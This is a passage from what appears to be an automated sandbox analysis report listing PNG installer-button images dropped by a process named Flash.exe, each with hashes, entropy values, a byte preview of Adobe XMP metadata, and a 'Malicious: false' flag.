SSDEEP:	384:2Ey+gH/P0biv45rl8Rc+37dihvcJ+mRIAlp:2E+H/rOxqa8dRd
MD5:	EA39DEE5508D8C07ECE9C582E8715F49
SHA1:	393E41F36D0D807BF5C37D7D1FDBF605FA02A196
SHA-256:	D81B3FDFFA90E08E5A690D029676FBE4A454B375A4FC3223A169670CFB3A18D5
SHA-512:	96A069C0EEE64174C00415334506C174FCACBF746EDC13CC455398F723465B2BE1EC0867BE2DBBCCB5A2846CC14264064EAB67E306DD1164B4979EBD379F8B9C
Malicious:	false
Preview:	.PNG........IHDR...\.........G.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EE3C47720DE411EB9BF9DA2BBE260650" xmpMM:DocumentID="xmp.did:EE3C47730DE411EB9BF9DA2BBE260650"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EE3C47700DE411EB9BF9DA2BBE260650" stRef:documentID="xmp.did:EE3C47710DE411EB9BF9DA2BBE260650"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.S...0.IDATx...eWv.....{.Q/I.h..j!...ah...Gw...F.<c.. .f..D0bn..p.....0.......q@..v.,...T.G=3..s.^.o.}nf.K..*.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-process0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 174 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4981
Entropy (8bit):	7.858595831159925
Encrypted:	false
SSDEEP:	96:gYR2gHz48hdxITjdfMH49piFpnacJ2t56zOimuG2goc:BjrdxujuHEp0F280voc
MD5:	E937C59060D7B4E7D9E8B27B19A6B48C
SHA1:	3AA64A3AE10CDED83866A8A55C795FF03A985319
SHA-256:	3999122755E0760F2FAC91FF8FD3D48878085FB3B752A8D95EFAF57D4AAFA532
SHA-512:	9042B04618993C1F7A0AFF6CC0E3BCB24C08293137078C36920D948BE2BC86C5DA57CE89EFBC4C8C06721264876B8786977CF9EF2D76D787173AC9906DB8AF3F
Malicious:	false
Preview:	.PNG........IHDR.......@......BL.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0222E5A3FCA111EAA784F9D440244B48" xmpMM:DocumentID="xmp.did:0222E5A4FCA111EAA784F9D440244B48"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0222E5A1FCA111EAA784F9D440244B48" stRef:documentID="xmp.did:0222E5A2FCA111EAA784F9D440244B48"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>}..n....IDATx..[...U...kw.e.Y...eA..@.....W".\|.x...7..........8.~......vF..K_......h$.4%...G.L_....~u.2O

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-install-process1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 348 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13190
Entropy (8bit):	7.94929469413418
Encrypted:	false
SSDEEP:	384:TLET4uX78hhkooo6qENprLl6AJkXxVuU4HC7YTa:Tz8WeoNkd0NxVu7C73
MD5:	B52DDB43A6E45190161C15E1C061D670
SHA1:	B89FF69BFCDE112BEBF266710A741D18324BCC50
SHA-256:	CFC529DEBF7A76818AF872540ACCF28495E2AF5DCB0D14EA57B4393B7A072E0B
SHA-512:	24D8BDD10D538C0E158C74EF7B680C66F794D8760E480807D958778E67A96AF92EF892694F0136BC20E47198F753866462EDD92666F2AB21DDDA53AD2A18F89F
Malicious:	false
Preview:	.PNG........IHDR...\.........G.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:EE88D41A0DE411EB9AE3AD3BDBCE3687" xmpMM:DocumentID="xmp.did:EE88D41B0DE411EB9AE3AD3BDBCE3687"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EE88D4180DE411EB9AE3AD3BDBCE3687" stRef:documentID="xmp.did:EE88D4190DE411EB9AE3AD3BDBCE3687"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>q.#.../.IDATx...dWr.#.7..."..q8...h ......3.....m.0....+o..d.......psh.c..,?F.C.Msf..$.YU...../...~..YlV

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-default0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	984
Entropy (8bit):	5.949001449133013
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XV9Vv1yJ3VjrwNaGaoPh:jMYLNn2D+J3BoPh
MD5:	EB6BDDAA993DD16D2C569E5123B54F56
SHA1:	CB8E390ECDA5FE220DDC59C7D3D6BD4740D87DB8
SHA-256:	38450B42311795FFE83A8E789911C399F36AD95AD788BFD766D001B342E82D0A
SHA-512:	3DFF35D075CCA9B48B499DE54E64424B624568C725532DC4AB5331FC4477FB912D62974F99AC07421007DE7E9329FF338C7D1BBC04E416EE312668E2A8F8FFD7
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0E35582DFCA111EA956ACEC4FDC5BEA0" xmpMM:DocumentID="xmp.did:0E35582EFCA111EA956ACEC4FDC5BEA0"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0E35582BFCA111EA956ACEC4FDC5BEA0" stRef:documentID="xmp.did:0E35582CFCA111EA956ACEC4FDC5BEA0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.O?)...HIDATx..... .CQP'V.P.V.W.....^.=.$.Hr...........H....*..........<...W..)..G.....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-default1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.9274623203072325
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XVXKe1yJ3VXHe4GJ8XQ2O:yMYLNn2D5DEJ35+4XX3O
MD5:	19C733264742BC96F6AE6D0230A96A75
SHA1:	C8E82222E506788BF07230C7384C89AC9DF3DAD7
SHA-256:	F0E01236A349FE672E905FB5D8D0F85B25D1B701CE3BBBB08D7367D8B1B78037
SHA-512:	DFC6E08B34421A0BBFBEA5D86D85BE509FB8D9460991BCD067B686C061FC5E09CE8CD785F004D05D89B573DCC601236738FEA3CADA30751CD2E2188C129CA7D2
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F577E8200DE411EB9F47EBCC1B508690" xmpMM:DocumentID="xmp.did:F577E8210DE411EB9F47EBCC1B508690"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F577E81E0DE411EB9F47EBCC1B508690" stRef:documentID="xmp.did:F577E81F0DE411EB9F47EBCC1B508690"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..... .@AP&F.@.V.....Hq//U...;..J............................................8P.!.................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-null0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	987
Entropy (8bit):	5.967413528082773
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVzhaeyJ3VzLtG9bDNT:jMYLNn2DFhgJ3FJYDNT
MD5:	AD9BD73D99F6CECA843B0C23B12852D8
SHA1:	4CE0BD473CDE0B92261F9F2B97EE407ED93C189F
SHA-256:	11A3EE5A903CCE0849E322F6BE9D12D0252D0F2D4F9ECB5E63D16898E38B6FCA
SHA-512:	C7DB4B0386CA18178D0B077B4B7DC9C56855C749EB00EF24E9EF6DE783BD142C803DC47BAC0481E1350829A290BA323083829493420F5EBCC06714472597DCC8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0D41D5F7FCA111EA8FF8EAAFDE84B6A7" xmpMM:DocumentID="xmp.did:0D41D5F8FCA111EA8FF8EAAFDE84B6A7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0D41D5F5FCA111EA8FF8EAAFDE84B6A7" stRef:documentID="xmp.did:0D41D5F6FCA111EA8FF8EAAFDE84B6A7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>n......KIDATx.......D.;...T.^T.@.'..o.....}n...q........ ......+.-.rH.......o..`.=..)U.V.....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-null1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	5.930993948192703
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XVWFHai6yJ3V0/FPc/GV8zVf:yMYLNn2DoFFBJ3a/F0/jJ
MD5:	28DDA8C31197522BD95257414C31851A
SHA1:	368E2827901AE7835F80D746C557CF4403B76EE0
SHA-256:	FA894B25F7FA2613A5C49BEA588D86A9E68B5F87D73EC560304D07DB0F29C7B4
SHA-512:	D5C5859459F5AE5B3587EA5883E9F9C6F5D696168C2FC47A8D6B62208FB861B5AE65D1ED9ED653AFB9208EF885C4736401058249279EE0831FB5A08BCD7D0C48
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F47E29E70DE411EB8E59DB7D75A7562C" xmpMM:DocumentID="xmp.did:F47E29E80DE411EB8E59DB7D75A7562C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F47E29E50DE411EB8E59DB7D75A7562C" stRef:documentID="xmp.did:F47E29E60DE411EB8E59DB7D75A7562C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.J(.....IDATx..... .@A@.c.`.u..S...*..Hq//U...[.\I....................................W....9..1m.....G............

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-press0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	984
Entropy (8bit):	5.924093986782785
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVzgew5wyJ3Vzaj7IBGwuE1:jMYLNn2DFUJ3FaUvf1
MD5:	0A5FC44BE51A92D2B3C4F6742B1218E4
SHA1:	2617695C75740DD34788494D8A16B33DBAD7FA99
SHA-256:	FA22CDD1A8CF3ABB931B2B3C77211217DFB19C186D518B819D55DE5ED6EDB947
SHA-512:	689ACC9A7E3DFC825D1718176F786DE874CEEFCC9CB2106EB2AF7F24453085293EB6C254B276B3BBFD4B029C72CA8C0C08CDA30588D3201E7A3348E2BF6917B0
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0D92CCB4FCA111EAAFC889BAF97D4D36" xmpMM:DocumentID="xmp.did:0D92CCB5FCA111EAAFC889BAF97D4D36"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0D92CCB2FCA111EAAFC889BAF97D4D36" stRef:documentID="xmp.did:0D92CCB3FCA111EAAFC889BAF97D4D36"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..Bk...HIDATx..... .CQP.S.VgS.W.....^.=.$.Hr.........l.{.7...*..........<...7>.)hm/.....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-press1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.885231718815234
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XVZYWyJ3VFPBGJ8VQqfz:yMYLNn2D6J3nJPVXz
MD5:	D45AA7007B5853CF48A2FF09F14C509C
SHA1:	20297F61AEA2B99D997B8AC5FB15A45EFC6DA96F
SHA-256:	8F76A53E045FD72EC2CA8CF003EA80ED219C75DC96235CAB2B993075C16DF44D
SHA-512:	D1D21713EBE3C26255A76AD7396451D145A0D588D061E116D630876683224C9395800AEDE53EF0999C95B235097D72F2DCDDB676A29D4854FF39B11F349026C6
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F4E3E8020DE411EBACCCFB30049A10FE" xmpMM:DocumentID="xmp.did:F4E3E8030DE411EBACCCFB30049A10FE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F4E3E8000DE411EBACCCFB30049A10FE" stRef:documentID="xmp.did:F4E3E8010DE411EBACCCFB30049A10FE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.......IDATx..... .@AP.C.FfS.....Hq//U...;..J..........................................;..8P.!.................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-process0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	984
Entropy (8bit):	5.914165517843624
Encrypted:	false
SSDEEP:	24:91hmYaWwjx82lY2T3XVz5GWYoyJ3VzPbFpGouE1:jMYLNn2DF5GtrJ3FPRp3f1
MD5:	F93888BD807009720A54DDE6FB416FED
SHA1:	0E0EA7B5EA8EB3747D8AC044DC9A4D098D322ADA
SHA-256:	FC7BFA90BC6A8112D64886993AEDA8BAA0A1D966EB1D73866AB79D2C0CE01FF7
SHA-512:	CBAFCBECA160ACC84A150E9ED649E58C07074B258E324263E8B264D45111C5B415072A850DCC0CBA0C39F582B714B4BBAE8397CF597453DFBFA4029D6B86FFA7
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:0DE3765AFCA111EAB145C116A4061C43" xmpMM:DocumentID="xmp.did:0DE3765BFCA111EAB145C116A4061C43"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0DE37658FCA111EAB145C116A4061C43" stRef:documentID="xmp.did:0DE37659FCA111EAB145C116A4061C43"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...o...HIDATx..... .CQP.S.VgS.W.....^.=.$.Hr.........l.{.7...*..........<...7>.)hm/.....IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn-minimize-process1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.917321208160484
Encrypted:	false
SSDEEP:	24:M1hmYaWwjx82lY2T3XVsiNp9yJ3Vspp8GYl718VQqfz:yMYLNn2DqiXMJ3qD8TUVXz
MD5:	904C1D9677F2E0643E63446AA972DF14
SHA1:	E9A2A774CEC986686F4A9E939734EAEFA7520119
SHA-256:	79CC449B6CD22867F7990F10C58B5942FA1F28948B7D07DA3DD17E8A4451A995
SHA-512:	BA35B01C945586694C6683C476E75666A83F534EA94E90F89B22798F671ABDF8C97A97C958AC903B16A0F1A98724524E9BB4FED669462C4FA26B5BF371EB1274
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:F52E1C180DE411EBAE738DC28275B92D" xmpMM:DocumentID="xmp.did:F52E1C190DE411EBAE738DC28275B92D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F52E1C160DE411EBAE738DC28275B92D" stRef:documentID="xmp.did:F52E1C170DE411EBAE738DC28275B92D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.......IDATx..... .@AP.C.FfS.....Hq//U...;..J..........................................;..8P.!.................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\btn1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 130 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	6.463378537050842
Encrypted:	false
SSDEEP:	24:A1hiyWwjx82lY2T37V+ygUIHgUCLyJ3VvRgUx9gULbGvovv41wLwIRrGef2qt:euNn2vkygU6gURJ3hRgUngUvRvv41wL1
MD5:	9BD228AC85BF75F9CFD08AAD17405B3A
SHA1:	16E917DF33124761A2E3DD1C74B3A77A7461F272
SHA-256:	343502E5BCDBCC46DA9BBE82E2409006457C1ADDFEC92BD9C9083E5B86265CE8
SHA-512:	977966FF7A0E3033133A33B9796AD6DF04D052F3D10F1E248B493862772B5989BEE97B3E8790DBFA4360C35FAC8C3BE514770825DB2E1A52E637FBD52FAB3A18
Malicious:	false
Preview:	.PNG........IHDR.......(......."....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:8ABB75611D3511E8B07590B3E2C07782" xmpMM:DocumentID="xmp.did:8ABB75621D3511E8B07590B3E2C07782"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8ABB755F1D3511E8B07590B3E2C07782" stRef:documentID="xmp.did:8ABB75601D3511E8B07590B3E2C07782"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..1..@...D......o..hh...B.x.].>a..l.dw...&={..E..z9.1.a.....1...1h.a..E..AC:.i+%h...Pt..M..4......n

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-continue-default0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 90 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	6.524383721322621
Encrypted:	false
SSDEEP:	24:Eu1hmYaWwjx82lY2T3XV2zabLYTj8yJ3Vwbb+pGtCoTKAIlAoYkt4aec:HMYLNn2D3yJ3ViXIlDlec
MD5:	20D97A4614D2E09FFC107AC7C104CE13
SHA1:	EDBFA0EC2CF5A6D25150DBA8EFBDD7E6FE59998E
SHA-256:	DDF77C123498A57BF77447C2C8FE6F95EFEEECBB3FC84000B3791B1E36841B5B
SHA-512:	DBA39DB3E610976B2276374F09CEE6CA0F5AE6E1695C37486F1E49C223888A624825A4B25A208A7E1AE1A906364E3E311BBD730CDEC403C20DAE4D2E710BC758
Malicious:	false
Preview:	.PNG........IHDR...Z...$.......-.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:03664BEDFCA111EABEE18D1F661C65BC" xmpMM:DocumentID="xmp.did:03664BEEFCA111EABEE18D1F661C65BC"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:03664BEBFCA111EABEE18D1F661C65BC" stRef:documentID="xmp.did:03664BECFCA111EABEE18D1F661C65BC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>o!KM....IDATx......@.....Q..Dl!g....!.`3Z...K..$.<.3.!.xr=...&..f.....%..x....yYXC\|.\|s/.\|...t..^.......`..v......z

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\button-continue-default1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 180 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1423
Entropy (8bit):	6.8761692095299445
Encrypted:	false
SSDEEP:	24:hn1hmYaWwjx82lY2T3XVZOzmu2yJ3Ve6wsGZlNGm6Cs65XOmXf5ea:jMYLNn2DWKWJ349sELsw+Mhea
MD5:	D20A0AFA4E3ABEB251D226AFD58DD842
SHA1:	CB3C692D5355215051205FE4D35265F19EB1E937
SHA-256:	E6EDCF323012F49758B1B9B915B5C75FC7C04E8949C19A0D277B8643B87B14FC
SHA-512:	3458A8FDFDB78DB6523FAF1B3AF892BC7204D11645885BABF1D7C6AA901FABCC0233A22235F031D5F94EA9D65E6DE3430D0F05A2304101504F0406C6ADA0E8CC
Malicious:	false
